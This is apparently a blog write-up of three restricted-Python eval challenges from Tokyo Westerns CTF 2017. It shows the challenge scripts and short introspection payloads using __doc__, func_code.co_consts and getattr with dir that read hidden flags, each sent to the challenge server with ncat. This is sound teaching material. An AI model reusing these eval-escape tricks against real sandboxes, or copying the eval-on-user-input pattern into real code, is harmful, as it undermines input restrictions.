./blog    github    about

pplc

pplc - tokyo westerns ctf 3rd 2017

yet another PLC challange as last year’s?

private: nc ppc1.chal.ctf.westerns.tokyo 10000

local: nc ppc1.chal.ctf.westerns.tokyo 10001

comment: nc ppc1.chal.ctf.westerns.tokyo 10002

restricted_python.7z

these challenges exercised the ability to break out of 3 various restricted python eval calls, a nice primer on using builtin python functionality to bypass restrictions! i found that using ptpython was pretty useful since it has tab completion and you are able to surf your history much easier. if you are completely new to python exploitation i recommend going through the picoctf python exploitation challenges, i went through the ones from 2013 and learned quite a lot i was able to use on this challenge. in particular one should know about the dir builtin function which returns an alphabetized list of names comprising (some of) the attributes of the given object, and of attributes reachable from it.

comment

comment.py

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

d = sys.stdin.read()
assert d is not None
d = d[:20]

import comment_flag
r.seccomp()

print eval(d)

comment_flag.py

'''
Welcome to unreadable area!
FLAG is TWCTF{CENSORED}
'''

comment was super simple, checking the __doc__ attribute reveals the flag. docstrings are a string literal that occurs as the first statement in a module, function, class, or method definition. such a docstring becomes the __doc__ special attribute of that object, according to the PEP article on Docstrings.

>>> import comment_flag
>>> dir(comment_flag)
['__builtins__', '__doc__', '__file__', '__name__', '__package__']
>>> comment_flag.__doc__
'\nWelcome to unreadable area!\nFLAG is TWCTF{CENSORED}\n'

pointing this at the server:

$ ncat ppc1.chal.ctf.westerns.tokyo 10002 
comment_flag.__doc__
<ctrl-d>
Welcome to unreadable area!
FLAG is TWCTF{very simple docstring}

local

local.py

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

def get_flag(x):
    flag = "TWCTF{CENSORED}"
    return x

d = sys.stdin.read()
assert d is not None
d = d[:30]

r.seccomp()

print eval(d)

since the problem name implies the use of the locals() builtin python function i experimented based on this and through that i found the func_code object for get_flag and its constants attribute (co_consts, see this blog for a brief overview of code objects).

>>> def get_flag(x):
  2     flag = "TWCTF{CENSORED}"
  3     return x
>>> locals()['get_flag']
<function get_flag at 0x7fb348434398>
>>> dir(locals()['get_flag'])
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> locals()['get_flag'].func_code
<code object get_flag at 0x7fb34a7cf3b0, file "<stdin>", line 1>
>>> dir(locals()['get_flag'].func_code)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
>>> locals()['get_flag'].func_code.co_consts
(None, 'TWCTF{CENSORED}')

the only problem with solving this problem with locals() is i couldn’t seem to figure out how to keep my code under 30 characters! what i had amounted to 40 characters, so i kept trying things - could i reference get_flag directly without using locals()? in fact i could - using the same attributes, even:

>>> get_flag.func_code.co_consts
(None, 'TWCTF{CENSORED}')

pointing this at the server:

$ ncat ppc1.chal.ctf.westerns.tokyo 10001 
get_flag.func_code.co_consts
<ctrl-d>
(None, 'TWCTF{func_code is useful for metaprogramming}')

private

private.py

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

class Private:
    def __init__(self):
        pass

    def __flag(self):
        return "TWCTF{CENSORED}"

p = Private()
Private = None

d = sys.stdin.read()
assert d is not None
assert "Private" not in d, "Private found!"
d = d[:24]

r.seccomp()

print eval(d)

private forces us not to use the string ‘Private’ in our code. the first thing i noticed was that using dir we could bypass writing ‘Private’:

>>> dir(p)[0]
'_Private__flag'

using this and string append i found a string that would bypass the ‘Private’ restriction but it was too long:

>>> "p.".__add__(dir(p)[0]).__add__("()")
'p._Private__flag()'
>>> eval("p.".__add__(dir(p)[0]).__add__("()"))
'TWCTF{CENSORED}'
>>> "p.".__add__(dir(p)[0]).__add__("()")
'p._Private__flag()'
>>> len('"p.".__add__(dir(p)[0]).__add__("()")')
37

surfing around the attributes of Private i found __getattribute__ which is simply a method wrapper around the getattr builtin function. getattr gets a named attribute from an object; getattr(x, 'y') is equivalent to x.y according to the documentation. with getattr we are able to do the same as i was trying to do before but with less characters!

>>> getattr(p, '_Private__flag')
<bound method Private.__flag of <__main__.Private instance at 0x7f99b1b1b440>>
>>> getattr(p, '_Private__flag')()
'TWCTF{CENSORED}'
>>> getattr(p, dir(p)[0])
<bound method Private.__flag of <__main__.Private instance at 0x7f99b1b1b440>>
>>> getattr(p, dir(p)[0])()
'TWCTF{CENSORED}'

pointing this at the server:

$ ncat ppc1.chal.ctf.westerns.tokyo 10000 
getattr(p, dir(p)[0])()
<ctrl-d>
TWCTF{__private is not private}